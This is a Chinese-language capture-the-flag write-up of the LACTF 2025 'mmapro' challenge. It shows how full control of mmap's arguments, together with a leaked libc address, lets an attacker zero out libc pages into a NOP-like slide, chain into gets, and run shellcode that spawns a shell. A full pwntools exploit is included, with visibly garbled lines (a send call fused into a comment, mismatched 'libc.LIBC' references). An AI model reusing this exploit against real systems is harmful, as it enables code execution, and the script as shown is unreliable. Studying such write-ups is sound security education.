关于LACTF 2025 mmapro知识点思考
本文聚焦 LACTF 2025 的mmapro题目,解析如何利用mmap函数解题。题目源码通过泄露libc地址和开放mmap参数控制,引导挖掘mmap的利用方式。文章剖析了mmap函数原型及flags参数,经多次尝试,借助MAP_PRIVATE等标志实现对libc内存重映射。实验发现重映射mmap函数所在页能形成类似Nop的滑板指令,从而找到可利用的libc代码gadget。参考官方思路确定具体g
前言
这个题的源代码十分的简短,但是需要对mmap的实现有一定的了解,通过这个复现随便来浅浅了解一下mmap函数
题目源码
#include <unistd.h>
#include <sys/mman.h>
int main()
{
long a[6] = {mmap};
write(1, a, 8);
read(0, a, sizeof(a));
mmap(a[0], a[1], a[2], a[3], a[4], a[5]);
}程序一开始就给了我们mmap的地址,泄露了libc地址给我们
write(1, a, 8); 其次给我们可以控制mmap的六个参数
read(0, a, sizeof(a));
mmap(a[0], a[1], a[2], a[3], a[4], a[5]);猜测
既然程序给了我们libc的地址,也给了我们控制mmap的参数,那么大概率是需要通过mmap来实现控制程序的执行流程
mmap函数
Linux的mmap(内存映射)是一种将文件或设备直接映射到进程虚拟地址空间的机制,允许进程像访问内存一样操作文件或共享内存,函数原型
void *mmap(void *start, size_t length, int prot, int flags, int fd, off_t offset);前面的三个参数都是老朋友,最主要的是后面的flags,通过查阅文档可以发现对flags的描述
flags宏 | 十六进制值 | 说明 |
|
| 映射区域与其他进程共享,对内存的修改会同步到文件。 |
|
| 映射区域为私有,写入时会触发“写时复制”(Copy-on-Write),不修改文件。 |
|
| 强制使用指定的起始地址 |
|
| 匿名映射(不关联文件),通常与 |
|
| 禁止对映射文件的其他直接写入操作(需文件未被其他进程打开写入)。 |
|
| 锁定映射区域,防止被交换到磁盘(Swap)。 |
可以看到我们通过MAP_ANONYMOUS实现匿名映射,不与任何文件做关联,即可以不用管fd的值;而MAP_FIXED可以强制指定一个地址,作为开始,那么我们是否可以利用这个特性将libc的地址重新映射,所以我们先实践一下,是否可行 MAP_ANONYMOUS与MAP_FIXED或值刚好是0x30
p.send(p64((libc.address&-4096)) + p64(0x1000)+p64(0x7)+p64(0x30)+p64(0)+p64(0))但是经过实践发现不太行
于是问了一下deepseek,发现还需要加这个flags,**MAP_PRIVATE **:通过写时复制实现内存修改的隔离,保护原始数据不被意外修改。
因为本质上我们libc也算是映射的一个文件的副本,若我们想要覆盖(通过mmap)它的话,必须是加上MAP_PRIVATE ,才可以
所以我们第二次尝试,这次加上MAP_PRIVATE 的flags
p.send(p64((libc.address&-4096)) + p64(0x1000)+p64(0x7)+p64(0x32)+p64(0)+p64(0))成功实现,但是我们发现这里libc的数据因为重新覆盖而变成了空数据,即是全部都是00字符
思路&利用方法
对于目前来说,我们可以实现的是将一段libc的内存,使之变为全是00的字符数据,那么我们使用在mmap函数所在的页看看会发生什么
p.send(p64((libc.sym['mmap']&-4096)) + p64(0x1000)+p64(0x7)+p64(0x32)+p64(0)+p64(0))我们继续步进看看会发生什么
这里可以发现mmap函数的数据全部是00字符,而这些00字符刚好组合成这个汇编代码
add byte ptr [rax], al而mmap的返回值刚好是我们一开始给它的start的地址,所以这里是一个合法地址,使得这个指令可以正常执行下去,形成了一个类似于Nop的滑板指令
我们继续执行就可以看到它会卡到我们没有修改的相邻页上的代码地址
自此,如果在以页为开始的libc代码,即以0x000结尾的地址,并且是在mmap函数所在的页的下方,我们就可以使用它作为我们可用的gadget
下面是参考了官方wp
可用gadget
官方exp使用的是这个地址
mmap(libc.address+0x115000, 0x57000, 7, libc.address+0xbda72, libc.sym.gets, libc.address+0x115000)我们可以计算一下也就是0x115000+0x57000就是0x16c000的位置,这里可以看看是怎么实现的,下面是以mmap所在的页为start地址
offset = 0x16c000 - (libc.sym['mmap']&-4096)
.....
p.send(p64((libc.sym['mmap']&-4096)) + p64(offset)+p64(0x7)+p64(0x32)+p64(2)+p64(0x1000))可以发现是ptsname_r函数的开头位置,并且call ioctl并没有被我们所覆写,所以可以成功调用,也有把canary给压入栈中,最后
这里可以发现卡在了0x32的位置上,如果我们仔细看的话就可以发现,这个0x32就是我们控制的flags数据,那么我们改如何利用这个呢
我们回想一下我们正常使用mmap的时候,我们是怎么用这个flags,例如
void *addr = mmap(NULL, size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);不难发现是或运算,并且对应的flags也就是只用那么几个,那么我们可以找到一个符合条件的ret,即满足上面的flags的条件的,我们可以通过对应寻找一下
ROPgadget --binary libc.so.6 --opcode c3 | grep "032"随便选条032为结尾即可
然后既然我们的rdi是我们的start地址,那么我们可以使用gets写入shellcode,然后再让程序跳转到位置即可
p.send(p64((libc.LIBC.sym['mmap']&-4096)) + p64(offset)+p64(0x7)+p64(gadget)+p64(libc.LIBC.sym['gets'])+p64((libc.LIBC.sym['mmap']&-4096)))原理就是把flags设置为符合条件并且是ret指令的地址,然后把fd控制位gets函数,offset控制为start地址,这样就可以实现一个ROP链
最后
exp
完整exp如下
from pwn import*
context(arch='amd64', os='linux',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]
#libc = ELF("../libc/")
libc = ELF("./libc.so.6")
def get_p(name):
global p,elf
p = process(name)
#p = remote("")
elf = ELF(name)
get_p("./mmapro")
offset = 0x115000 + 0x57000 - (libc.LIBC.sym['mmap']&-4096)
print(hex(offset))
libc.address = u64(p.recv(8)) - libc.sym['mmap']
gadget = 0x00000000000ae032 + libc.LIBC.address
print(hex(libc.address))
# gdb.attach(p,"")
# sleep(2)p64(offset)+p64(0x7)+p64(gadget)+p64(libc.sym['gets'])+p64((libc.sym['mmap']&-4096)))
sleep(0.2)
p.sendline(asm(shellcraft.sh()))
p.interactive()最后
因为是按页覆盖,实际上利用的gadget并不是很多,笔者也是有尝试过通过爆破来实现定位到可用gadget的偏移,不需要很久的时间,可以利用pwntools+gdb来对最后卡住的寄存器进行判断,来实现可用gadget的爆破